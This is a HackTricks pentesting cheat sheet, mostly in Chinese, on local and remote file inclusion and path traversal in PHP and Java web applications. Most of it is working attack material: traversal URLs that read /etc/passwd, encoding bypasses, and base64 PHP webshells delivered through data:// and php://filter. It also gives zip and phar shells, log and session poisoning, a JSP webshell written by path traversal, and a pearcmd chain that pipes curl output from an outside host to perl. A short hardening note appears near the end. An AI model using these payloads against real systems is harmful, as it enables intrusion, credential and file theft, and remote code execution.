File Inclusion/Path traversal
Reading time: 36 minutes
tip
学习和实践 AWS 黑客技术:HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE)
学习和实践 Azure 黑客技术:
HackTricks Training Azure Red Team Expert (AzRTE)
支持 HackTricks
- 查看 订阅计划!
- 加入 💬 Discord 群组 或 Telegram 群组 或 在 Twitter 🐦 上关注我们 @hacktricks_live.
- 通过向 HackTricks 和 HackTricks Cloud GitHub 仓库提交 PR 来分享黑客技巧。
File Inclusion
Remote File Inclusion (RFI): 该文件从远程服务器加载(优势:你可以写入代码并让服务器执行它)。在 php 中默认禁用(allow_url_include)。
Local File Inclusion (LFI): 服务器加载本地文件。
当用户能以某种方式控制将被服务器加载的文件时,就会发生该漏洞。
易受影响的 PHP 函数: require, require_once, include, include_once
用于利用此漏洞的一个有趣工具: https://github.com/kurobeats/fimap
Blind - Interesting - LFI2RCE files
wfuzz -c -w ./lfi2.txt --hw 0 http://10.10.10.10/nav.php?page=../../../../../../../FUZZ
Linux
将几个 *nix LFI 列表混合并添加更多路径后,我创建了这个:
https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/file_inclusion_linux.txt
还可以尝试将 /
改为 \
还可以尝试添加 ../../../../../
一个使用多种技术查找文件 /etc/password(用于检查漏洞是否存在)的列表可以在这里找到
Windows
合并不同的 wordlists:
还可以尝试将 /
改为 \
还可以尝试移除 C:/
并添加 ../../../../../
一个使用多种技术查找文件 /boot.ini(用于检查漏洞是否存在)的列表可以在这里找到
OS X
查看 Linux 的 LFI 列表。
Basic LFI and bypasses
所有示例均适用于 Local File Inclusion,但也可用于 Remote File Inclusion(page=[http://myserver.com/phpshellcode.txt\](http://myserver.com/phpshellcode.txt)/)。
http://example.com/index.php?page=../../../etc/passwd
traversal sequences 被非递归地剥离
http://example.com/index.php?page=....//....//....//etc/passwd
http://example.com/index.php?page=....\/....\/....\/etc/passwd
http://some.domain.com/static/%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c/etc/passwd
Null byte (%00)
绕过在提供的字符串末尾追加更多字符的机制(绕过:$_GET['param']."php")
http://example.com/index.php?page=../../../etc/passwd%00
自 PHP 5.4 起此问题已解决
编码
你可以使用非标准的编码,比如 double URL encode(或其他方式):
http://example.com/index.php?page=..%252f..%252f..%252fetc%252fpasswd
http://example.com/index.php?page=..%c0%af..%c0%af..%c0%afetc%c0%afpasswd
http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd
http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd%00
来自已存在的文件夹
也许后端正在检查文件夹路径:
http://example.com/index.php?page=utils/scripts/../../../../../etc/passwd
在服务器上探索文件系统目录
服务器的文件系统可以通过递归方式来识别目录,而不仅仅是文件,方法是使用某些技巧。这个过程包括确定目录深度并探测特定文件夹是否存在。下面是实现此目的的详细方法:
- 确定目录深度: 通过成功获取
/etc/passwd
文件来确定当前目录的深度(适用于服务器为 Linux-based 的情况)。示例 URL 可能如下所示,表示深度为 3:
http://example.com/index.php?page=../../../etc/passwd # depth of 3
- 探测文件夹: 将怀疑的文件夹名(例如
private
)附加到 URL,然后返回到/etc/passwd
。额外的目录层级需要将深度增加一:
http://example.com/index.php?page=private/../../../../etc/passwd # depth of 3+1=4
- 解释结果: 服务器的响应表明该文件夹是否存在:
- 错误 / 没有输出: 文件夹
private
很可能在指定位置不存在。 /etc/passwd
的内容: 已确认存在private
文件夹。
- 递归探索: 发现的文件夹可以使用相同的技术或传统的 Local File Inclusion (LFI) 方法进一步探测子目录或文件。
要探索文件系统中不同位置的目录,请相应调整 payload。 例如,要检查 /var/www/
是否包含 private
目录(假设当前目录处于深度 3),请使用:
http://example.com/index.php?page=../../../var/www/private/../../../etc/passwd
Path Truncation Technique
Path truncation 是一种用于操纵 web 应用中文件路径的方法。它通常用于通过绕过在文件路径末尾追加额外字符的某些安全措施来访问受限文件。其目的是构造一个文件路径,该路径在被安全措施修改后仍然指向目标文件。
在 PHP 中,由于文件系统的特性,文件路径的多种表示方式可能被视为等价。例如:
/etc/passwd
,/etc//passwd
,/etc/./passwd
, and/etc/passwd/
都被视为相同的路径。- 当最后 6 个字符是
passwd
时,追加一个/
(变成passwd/
)并不会改变目标文件。 - 类似地,如果在文件路径末尾附加了
.php
(例如shellcode.php
),在末尾再加上/.
也不会改变被访问的文件。
下面的示例演示了如何利用 path truncation 来访问 /etc/passwd
,这是一个常见目标,因为它包含敏感内容(用户帐户信息):
http://example.com/index.php?page=a/../../../../../../../../../etc/passwd......[ADD MORE]....
http://example.com/index.php?page=a/../../../../../../../../../etc/passwd/././.[ADD MORE]/././.
http://example.com/index.php?page=a/./.[ADD MORE]/etc/passwd
http://example.com/index.php?page=a/../../../../[ADD MORE]../../../../../etc/passwd
在这些场景中,所需的遍历次数可能约为 2027,但该数字会根据服务器的配置而有所不同。
- Using Dot Segments and Additional Characters: 遍历序列(
../
)与额外的点段和字符结合,可用于在文件系统中导航,从而有效地忽略服务器附加的字符串。 - Determining the Required Number of Traversals: 通过反复试验,可以找到精确的
../
序列数量,以从根目录导航到/etc/passwd
,确保任何附加的字符串(例如.php
)被中和,而目标路径(/etc/passwd
)保持不变。 - Starting with a Fake Directory: 通常会在路径开头使用一个不存在的目录(例如
a/
)。这种做法可作为一种预防措施,或用于满足服务器路径解析逻辑的要求。
在使用 path truncation techniques 时,了解服务器的路径解析行为和文件系统结构至关重要。每种情况可能需要不同的方法,通常需要通过测试来找到最有效的方式。
该漏洞已在 PHP 5.3 中修复。
Filter bypass tricks
http://example.com/index.php?page=....//....//etc/passwd
http://example.com/index.php?page=..///////..////..//////etc/passwd
http://example.com/index.php?page=/%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../etc/passwd
Maintain the initial path: http://example.com/index.php?page=/var/www/../../etc/passwd
http://example.com/index.php?page=PhP://filter
Remote File Inclusion
在 php 中,这在默认情况下被禁用,因为 allow_url_include
为 Off。必须将其设为 On 才能生效,在这种情况下你可以从你的服务器包含一个 PHP 文件并获得 RCE:
http://example.com/index.php?page=http://atacker.com/mal.php
http://example.com/index.php?page=\\attacker.com\shared\mal.php
如果由于某种原因 allow_url_include
为 On,但 PHP 正在过滤对外部网页的访问, according to this post,你可以例如使用 data 协议结合 base64 来解码 b64 PHP 代码并获得 RCE:
PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.txt
tip
在前面的代码中,最后的 +.txt
是被添加上的,因为攻击者需要一个以 .txt
结尾的字符串,所以字符串以此结尾,并且在 b64 解码后那部分将只会返回一些垃圾,而真实的 PHP 代码会被包含(因此被执行)。
另一个不使用 php://
协议的例子如下:
data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+txt
Python 根元素
在 python 中,像下面这样的代码:
# file_name is controlled by a user
os.path.join(os.getcwd(), "public", file_name)
如果用户传递了一个绝对路径到**file_name
,则之前的路径会被移除**:
os.path.join(os.getcwd(), "public", "/etc/passwd")
'/etc/passwd'
根据 the docs 的说明,这是预期的行为:
如果某个组件是绝对路径,则会丢弃所有先前的组件,并从该绝对路径组件继续进行连接。
Java 列出目录
看起来如果在 Java 中存在 Path Traversal 并且你 请求一个目录 而不是文件,返回的将是该目录的 目录列表。据我所知,这在其他语言中不会发生。
前25个参数
以下是可能易受 local file inclusion (LFI) 漏洞影响的前25个参数(来自 link):
?cat={payload}
?dir={payload}
?action={payload}
?board={payload}
?date={payload}
?detail={payload}
?file={payload}
?download={payload}
?path={payload}
?folder={payload}
?prefix={payload}
?include={payload}
?page={payload}
?inc={payload}
?locate={payload}
?show={payload}
?doc={payload}
?site={payload}
?type={payload}
?view={payload}
?content={payload}
?document={payload}
?layout={payload}
?mod={payload}
?conf={payload}
LFI / RFI 使用 PHP wrappers & protocols
php://filter
PHP filters allow perform basic 修改操作 on the data before being it's read or written. There are 5 categories of filters:
- String Filters:
string.rot13
string.toupper
string.tolower
string.strip_tags
: 从数据中移除标签(位于 "<" 与 ">" 字符之间的内容)- Note that this filter has disappear from the modern versions of PHP
- Conversion Filters
convert.base64-encode
convert.base64-decode
convert.quoted-printable-encode
convert.quoted-printable-decode
convert.iconv.*
: Transforms to a different encoding(convert.iconv.<input_enc>.<output_enc>
)。要获取支持的所有编码列表,在控制台运行:iconv -l
warning
滥用 convert.iconv.*
转换过滤器可以生成任意文本,这可用于写入任意文本或使像 include 这样的函数处理任意文本。更多信息请查看 LFI2RCE via php filters.
- Compression Filters
zlib.deflate
: 压缩内容(当需要外传大量信息时有用)zlib.inflate
: 解压数据- Encryption Filters
mcrypt.*
: 已弃用mdecrypt.*
: 已弃用- Other Filters
- 在 php 中运行
var_dump(stream_get_filters());
可以发现一些意外的过滤器: consumed
dechunk
: 还原 HTTP chunked 编码convert.*
# String Filters
## Chain string.toupper, string.rot13 and string.tolower reading /etc/passwd
echo file_get_contents("php://filter/read=string.toupper|string.rot13|string.tolower/resource=file:///etc/passwd");
## Same chain without the "|" char
echo file_get_contents("php://filter/string.toupper/string.rot13/string.tolower/resource=file:///etc/passwd");
## string.string_tags example
echo file_get_contents("php://filter/string.strip_tags/resource=data://text/plain,<b>Bold</b><?php php code; ?>lalalala");
# Conversion filter
## B64 decode
echo file_get_contents("php://filter/convert.base64-decode/resource=data://plain/text,aGVsbG8=");
## Chain B64 encode and decode
echo file_get_contents("php://filter/convert.base64-encode|convert.base64-decode/resource=file:///etc/passwd");
## convert.quoted-printable-encode example
echo file_get_contents("php://filter/convert.quoted-printable-encode/resource=data://plain/text,£hellooo=");
=C2=A3hellooo=3D
## convert.iconv.utf-8.utf-16le
echo file_get_contents("php://filter/convert.iconv.utf-8.utf-16le/resource=data://plain/text,trololohellooo=");
# Compresion Filter
## Compress + B64
echo file_get_contents("php://filter/zlib.deflate/convert.base64-encode/resource=file:///etc/passwd");
readfile('php://filter/zlib.inflate/resource=test.deflated'); #To decompress the data locally
# note that PHP protocol is case-inselective (that's mean you can use "PhP://" and any other varient)
warning
部分 "php://filter" 不区分大小写
使用 php filters 作为 oracle 读取任意文件
在这篇文章中 提出了一种在服务器不返回输出的情况下读取本地文件的技术。该技术基于使用 php filters 作为 oracle 的布尔式外泄(逐字符)。这是因为 php filters 可以用来将文本放大到足以让 php 抛出异常的程度。
在原文中可以找到该技术的详细解释,但这里是快速摘要:
- 使用 codec
UCS-4LE
将文本的首字符保留在开头并使字符串长度呈指数增长。 - 这将用于生成一个当首字母被猜对时变得非常大的文本,从而使 php 触发 错误。
- dechunk filter 会在首字符不是十六进制时删除所有内容,因此我们可以判断首字符是否为十六进制。
- 将此与前者(以及根据猜测字母使用的其他 filters)结合,可以通过观察何时对文本进行足够的转换以使其不再是十六进制字符来猜测文本开头的一个字母。因为如果是十六进制,dechunk 不会删除它,而初始“炸弹”会使 php 报错。
- codec convert.iconv.UNICODE.CP930 会将每个字母转换为下一个字母(例如经过该 codec 后:a -> b)。这使我们能够确认首字母是否为
a
,例如如果我们连续应用 6 次该 codec,a->b->c->d->e->f->g,那么该字母就不再是十六进制字符,因此 dechunk 不会删除它,并且由于与初始“炸弹”相乘,会触发 php 错误。 - 在开始时使用其他转换(如 rot13)可以 leak 其他 chars,比如 n、o、p、q、r(其他 codecs 也可用于将其它字母移动到十六进制范围)。
- 当首字符是数字时,需要对其进行 base64 编码并 leak 前两个字母来 leak 该数字。
- 最终的问题是如何 leak 超过初始字母。通过使用顺序内存 filters,比如 convert.iconv.UTF16.UTF-16BE, convert.iconv.UCS-4.UCS-4LE, convert.iconv.UCS-4.UCS-4LE,可以改变字符顺序并将文本中的其他字母移到首位。
- 为了能够获取 进一步的数据,思路是使用 convert.iconv.UTF16.UTF16 在开头 生成 2 字节的垃圾数据,应用 UCS-4LE 使其与接下来的 2 字节 pivot,并 删除数据直到垃圾数据为止(这会删除初始文本的前 2 字节)。重复此过程直到到达要 leak 的位。
在文章中还 leak 了一个用于自动执行该操作的工具: php_filters_chain_oracle_exploit。
php://fd
该 wrapper 允许访问进程已打开的文件描述符。可能有助于外泄已打开文件的内容:
echo file_get_contents("php://fd/3");
$myfile = fopen("/etc/passwd", "r");
你也可以使用 php://stdin, php://stdout and php://stderr 来分别访问 文件描述符 0、1 和 2(不确定这在攻击中如何有用)
zip:// and rar://
上传一个包含 PHPShell 的 Zip 或 Rar 文件并访问它。
为了能够滥用 rar 协议,它需要被专门启用。
echo "<pre><?php system($_GET['cmd']); ?></pre>" > payload.php;
zip payload.zip payload.php;
mv payload.zip shell.jpg;
rm payload.php
http://example.com/index.php?page=zip://shell.jpg%23payload.php
# To compress with rar
rar a payload.rar payload.php;
mv payload.rar shell.jpg;
rm payload.php
http://example.com/index.php?page=rar://shell.jpg%23payload.php
data://
http://example.net/?page=data://text/plain,<?php echo base64_encode(file_get_contents("index.php")); ?>
http://example.net/?page=data://text/plain,<?php phpinfo(); ?>
http://example.net/?page=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4=
http://example.net/?page=data:text/plain,<?php echo base64_encode(file_get_contents("index.php")); ?>
http://example.net/?page=data:text/plain,<?php phpinfo(); ?>
http://example.net/?page=data:text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4=
NOTE: the payload is "<?php system($_GET['cmd']);echo 'Shell done !'; ?>"
注意:此协议受 php 配置 allow_url_open
和 allow_url_include
限制
expect://
Expect 必须被启用。你可以使用以下方式执行代码:
http://example.com/index.php?page=expect://id
http://example.com/index.php?page=expect://ls
input://
在 POST 参数中指定你的 payload:
curl -XPOST "http://example.com/index.php?page=php://input" --data "<?php system('id'); ?>"
phar://
当 web 应用使用如 include
等函数进行文件加载时,可利用 .phar
文件来执行 PHP 代码。下面的 PHP 代码片段演示了如何创建 .phar
文件:
<?php
$phar = new Phar('test.phar');
$phar->startBuffering();
$phar->addFromString('test.txt', 'text');
$phar->setStub('<?php __HALT_COMPILER(); system("ls"); ?>');
$phar->stopBuffering();
要编译 .phar
文件,应执行以下命令:
php --define phar.readonly=0 create_path.php
执行后,会创建一个名为 test.phar
的文件,这个文件可能被用来利用 Local File Inclusion (LFI) 漏洞。
如果 LFI 只是通过诸如 file_get_contents()
、fopen()
、file()
、file_exists()
、md5_file()
、filemtime()
或 filesize()
等函数读取文件而不执行其中的 PHP 代码,则可以尝试利用反序列化(deserialization)漏洞。该漏洞与使用 phar
协议读取文件有关。
关于在 .phar 文件上下文中利用反序列化漏洞的详细说明,请参见下面的文档:
Phar Deserialization Exploitation Guide
CVE-2024-2961
可以滥用 any arbitrary file read from PHP that supports php filters 来获得 RCE。详细描述可以 found in this post.
非常简短的总结:滥用 PHP heap 中的 3 byte overflow 来 alter the chain of free chunks(更改特定大小的空闲块链),以能够 write anything in any address,因此添加了一个 hook 来调用 system
。
可以通过滥用更多 php filters 来分配特定大小的 chunks。
More protocols
查看更多可能的 protocols to include here:
- php://memory and php://temp — 在内存或临时文件中写入(不确定这在 file inclusion 攻击中如何有用)
- file:// — 访问本地文件系统
- http:// — 访问 HTTP(s) URLs
- ftp:// — 访问 FTP(s) URLs
- zlib:// — 压缩流
- glob:// — 查找匹配模式的路径名(它不返回任何可打印内容,所以在这里并不太有用)
- ssh2:// — Secure Shell 2
- ogg:// — 音频流(不适合读取任意文件)
LFI via PHP's 'assert'
当处理 'assert' 函数时,PHP 中的 Local File Inclusion (LFI) 风险尤其高,因为该函数可以执行字符串中的代码。如果对包含类似 ".." 的目录遍历字符的输入进行了检查但没有正确消毒,这尤其成问题。
例如,PHP 代码可能被设计成如下以防止目录遍历:
assert("strpos('$file', '..') === false") or die("");
尽管这旨在阻止 traversal,但它无意中为 code injection 创建了一个向量。为了利用这一点读取文件内容,攻击者可以使用:
' and die(highlight_file('/etc/passwd')) or '
同样地,要执行任意系统命令,可以使用:
' and die(system("id")) or '
It's important to URL-encode these payloads.
PHP Blind Path Traversal
warning
此技术适用于你 控制 文件路径 的 PHP 函数,该函数会 访问文件,但你看不到文件内容(例如简单调用 file()
),且内容不会被显示。
In this incredible post it's explained how a blind path traversal can be abused via PHP filter to exfiltrate the content of a file via an error oracle.
As sumary, the technique is using the "UCS-4LE" encoding to make the content of a file so big that the PHP function opening the file will trigger an error.
Then, in order to leak the first char the filter dechunk
is used along with other such as base64 or rot13 and finally the filters convert.iconv.UCS-4.UCS-4LE and convert.iconv.UTF16.UTF-16BE are used to 将其他字符放在开头并 leak 它们.
Functions that might be vulnerable: file_get_contents
, readfile
, finfo->file
, getimagesize
, md5_file
, sha1_file
, hash_file
, file
, parse_ini_file
, copy
, file_put_contents (only target read only with this)
, stream_get_contents
, fgets
, fread
, fgetc
, fgetcsv
, fpassthru
, fputs
For the technical details check the mentioned post!
LFI2RCE
Arbitrary File Write via Path Traversal (Webshell RCE)
When server-side code that ingests/uploads files builds the destination path using user-controlled data (e.g., a filename or URL) without canonicalising and validating it, ..
segments and absolute paths can escape the intended directory and cause an arbitrary file write. If you can place the payload under a web-exposed directory, you usually get unauthenticated RCE by dropping a webshell.
Typical exploitation workflow:
- 识别在某个 endpoint 或后台 worker 中的写入原语,该原语接受路径/文件名并将内容写入磁盘(例如:基于消息的 ingestion、XML/JSON 命令处理器、ZIP 解压器等)。
- 确定 web-exposed directories。常见例子:
- Apache/PHP:
/var/www/html/
- Tomcat/Jetty:
<tomcat>/webapps/ROOT/
→ dropshell.jsp
- IIS:
C:\inetpub\wwwroot\
→ dropshell.aspx
- 构造一个 traversal 路径,将其从预期存储目录跳出到 webroot,并包含你的 webshell 内容。
- 访问已写入的 payload 并执行命令。
Notes:
- 执行写入的易受攻击服务可能监听在非 HTTP 端口(例如,TCP 4004 上的 JMF XML 监听器)。主 web 门户(不同端口)随后会提供你的 payload。
- 在 Java 堆栈上,这些文件写入通常通过简单的
File
/Paths
拼接实现。缺乏规范化/allow-listing 是核心缺陷。
Generic XML/JMF-style example (product schemas vary – the DOCTYPE/body wrapper is irrelevant for the traversal):
<?xml version="1.0" encoding="UTF-8"?>
<JMF SenderID="hacktricks" Version="1.3">
<Command Type="SubmitQueueEntry">
<!-- Write outside the intake folder into the webroot via traversal -->
<Resource Name="FileName">../../../webapps/ROOT/shell.jsp</Resource>
<Data>
<![CDATA[
<%@ page import="java.io.*" %>
<%
String c = request.getParameter("cmd");
if (c != null) {
Process p = Runtime.getRuntime().exec(c);
try (var in = p.getInputStream(); var out = response.getOutputStream()) {
in.transferTo(out);
}
}
%>
]]>
</Data>
</Command>
</JMF>
缓解这类漏洞的加固措施:
- 将路径解析为规范路径并强制其为允许列表基目录的子目录。
- 拒绝任何包含
..
、绝对根路径或驱动器字母的路径;优先使用生成的文件名。 - 以低权限账户运行写入程序,并将写入目录与对外提供的根目录隔离。
Remote File Inclusion
Explained previously, follow this link.
通过 Apache/Nginx 日志文件
如果 Apache 或 Nginx 服务器在 include 函数中对 LFI 易受攻击,可以尝试访问 /var/log/apache2/access.log
or /var/log/nginx/access.log
,在 user agent 或 GET parameter 中放置一个 php shell like <?php system($_GET['c']); ?>
并包含该文件
warning
注意,如果你使用双引号 为 shell 而不是 单引号,双引号会被修改为字符串 "quote;",PHP 会在此抛出错误,并且不会执行其他任何操作。
另外,确保你正确地写入 payload,否则每次尝试加载日志文件时 PHP 都会报错,你将没有第二次机会。
这也可以在其他日志中完成,但**要小心,**日志中的代码可能是 URL encoded,这可能会破坏 Shell。头部 authorisation "basic" 包含 "user:password" 的 Base64 编码并且在日志中会被解码。PHPShell 可以插入到该头部中。
其他可能的日志路径:
/var/log/apache2/access.log
/var/log/apache/access.log
/var/log/apache2/error.log
/var/log/apache/error.log
/usr/local/apache/log/error_log
/usr/local/apache2/log/error_log
/var/log/nginx/access.log
/var/log/nginx/error.log
/var/log/httpd/error_log
Fuzzing wordlist: https://github.com/danielmiessler/SecLists/tree/master/Fuzzing/LFI
通过电子邮件
发送邮件 到一个内部账号 (user@localhost),邮件中包含你的 PHP payload,比如 <?php echo system($_REQUEST["cmd"]); ?>
,并尝试包含该用户的邮件,路径例如 /var/mail/<USERNAME>
或 /var/spool/mail/<USERNAME>
通过 /proc/*/fd/*
- 上传大量 shells(例如:100)
- 包含 http://example.com/index.php?page=/proc/$PID/fd/$FD,其中 $PID = 进程的 PID(可通过暴力枚举),$FD 是文件描述符(也可通过暴力枚举)
通过 /proc/self/environ
像日志文件一样,将 payload 放在 User-Agent 中,它会被反射到 /proc/self/environ 文件中
GET vulnerable.php?filename=../../../proc/self/environ HTTP/1.1
User-Agent: <?=phpinfo(); ?>
通过 upload
如果你可以 upload 一个文件,只需 inject shell payload 到其中(e.g : <?php system($_GET['c']); ?>
)。
http://example.com/index.php?page=path/to/uploaded/file.png
为了保持文件可读,最好将其注入到图片/doc/pdf 的元数据中
通过 ZIP 文件上传
上传一个包含 PHP shell 的 ZIP 文件并访问:
example.com/page.php?file=zip://path/to/zip/hello.zip%23rce.php
通过 PHP sessions
检查网站是否使用 PHP Session (PHPSESSID)
Set-Cookie: PHPSESSID=i56kgbsq9rm8ndg3qbarhsbm27; path=/
Set-Cookie: user=admin; expires=Mon, 13-Aug-2018 20:21:29 GMT; path=/; httponly
在 PHP 中,这些会话被存储在 /var/lib/php5/sess\[PHPSESSID]_ 文件中
/var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm27.
user_ip|s:0:"";loggedin|s:0:"";lang|s:9:"en_us.php";win_lin|s:0:"";user|s:6:"admin";pass|s:6:"admin";
将 cookie 设置为 <?php system('cat /etc/passwd');?>
login=1&user=<?php system("cat /etc/passwd");?>&pass=password&lang=en_us.php
使用 LFI 包含 PHP 会话文件
login=1&user=admin&pass=password&lang=/../../../../../../../../../var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm2
通过 ssh
如果 ssh 可用,检查当前使用的是哪个用户(/proc/self/status & /etc/passwd)并尝试访问 <HOME>/.ssh/id_rsa
通过 vsftpd 日志
FTP 服务器 vsftpd 的日志位于 /var/log/vsftpd.log。在存在 Local File Inclusion (LFI) 漏洞且可以访问暴露的 vsftpd 服务的情况下,可以考虑以下步骤:
- 在登录过程中,将 PHP payload 注入到用户名字段。
- 注入后,利用 LFI 从 /var/log/vsftpd.log 检索服务器日志。
通过 php base64 filter (using base64)
如 this 文章所示,PHP base64 filter 只是忽略非-base64。你可以使用该方法绕过文件扩展名检查:如果你提供以 ".php" 结尾的 base64,它会忽略 "." 并将 "php" 附加到 base64。下面是一个示例 payload:
http://example.com/index.php?page=PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.php
NOTE: the payload is "<?php system($_GET['cmd']);echo 'Shell done !'; ?>"
Via php filters (no file needed)
This writeup explains that you can use php filters to generate arbitrary content as output. Which basically means that you can generate arbitrary php code for the include without needing to write it into a file.
Via segmentation fault
Upload a file that will be stored as temporary in /tmp
, then in the same request, trigger a segmentation fault, and then the temporary file won't be deleted and you can search for it.
LFI2RCE via Segmentation Fault
Via Nginx temp file storage
If you found a Local File Inclusion and Nginx is running in front of PHP you might be able to obtain RCE with the following technique:
Via PHP_SESSION_UPLOAD_PROGRESS
If you found a Local File Inclusion even if you don't have a session and session.auto_start
is Off
. If you provide the PHP_SESSION_UPLOAD_PROGRESS
in multipart POST data, PHP will enable the session for you. You could abuse this to get RCE:
LFI2RCE via PHP_SESSION_UPLOAD_PROGRESS
Via temp file uploads in Windows
If you found a Local File Inclusion and and the server is running in Windows you might get RCE:
Via pearcmd.php
+ URL args
As explained in this post, the script /usr/local/lib/phppearcmd.php
exists by default in php docker images. Moreover, it's possible to pass arguments to the script via the URL because it's indicated that if a URL param doesn't have an =
, it should be used as an argument. See also watchTowr’s write-up and Orange Tsai’s “Confusion Attacks”.
The following request create a file in /tmp/hello.php
with the content <?=phpinfo()?>
:
GET /index.php?+config-create+/&file=/usr/local/lib/php/pearcmd.php&/<?=phpinfo()?>+/tmp/hello.php HTTP/1.1
下面示例滥用 CRLF vuln 以获取 RCE(来自 here):
http://server/cgi-bin/redir.cgi?r=http:// %0d%0a
Location:/ooo? %2b run-tests %2b -ui %2b $(curl${IFS}orange.tw/x|perl) %2b alltests.php %0d%0a
Content-Type:proxy:unix:/run/php/php-fpm.sock|fcgi://127.0.0.1/usr/local/lib/php/pearcmd.php %0d%0a
%0d%0a
通过 phpinfo() (file_uploads = on)
如果你发现了一个 Local File Inclusion 并且有一个暴露 phpinfo() 且 file_uploads = on 的文件,你可以获得 RCE:
通过 compress.zlib + PHP_STREAM_PREFER_STUDIO
+ Path Disclosure
如果你发现了 Local File Inclusion 并且你可以 exfiltrate the path 临时文件的路径,但 server 正在 checking 要包含的文件是否有 PHP 标记,你可以尝试用这个 Race Condition 来 bypass that check:
LFI2RCE Via compress.zlib + PHP_STREAM_PREFER_STUDIO + Path Disclosure
通过 eternal waiting + bruteforce
如果你能滥用 LFI 来upload temporary files 并使服务器hang PHP 执行,你就可以在数小时内brute force filenames 来找到临时文件:
导致 Fatal Error
如果你包含任何以下文件 /usr/bin/phar
, /usr/bin/phar7
, /usr/bin/phar.phar7
, /usr/bin/phar.phar
。(你需要包含同一个文件两次以触发该错误)。
我不知道这有什么用,但可能有用。
即使你导致了 PHP Fatal Error,上传的 PHP 临时文件也会被删除。
.png)
References
- PayloadsAllTheThings
- PayloadsAllTheThings/tree/master/File%20Inclusion%20-%20Path%20Traversal/Intruders
- Horizon3.ai – From Support Ticket to Zero Day (FreeFlow Core path traversal → arbitrary write → webshell)
- Xerox Security Bulletin 025-013 – FreeFlow Core 8.0.5
- watchTowr – We need to talk about PHP (pearcmd.php gadget)
- Orange Tsai – Confusion Attacks on Apache
- VTENEXT 25.02 – a three-way path to RCE
- The Art of PHP: CTF‑born exploits and techniques
tip
学习和实践 AWS 黑客技术:HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE)
学习和实践 Azure 黑客技术:
HackTricks Training Azure Red Team Expert (AzRTE)
支持 HackTricks
- 查看 订阅计划!
- 加入 💬 Discord 群组 或 Telegram 群组 或 在 Twitter 🐦 上关注我们 @hacktricks_live.
- 通过向 HackTricks 和 HackTricks Cloud GitHub 仓库提交 PR 来分享黑客技巧。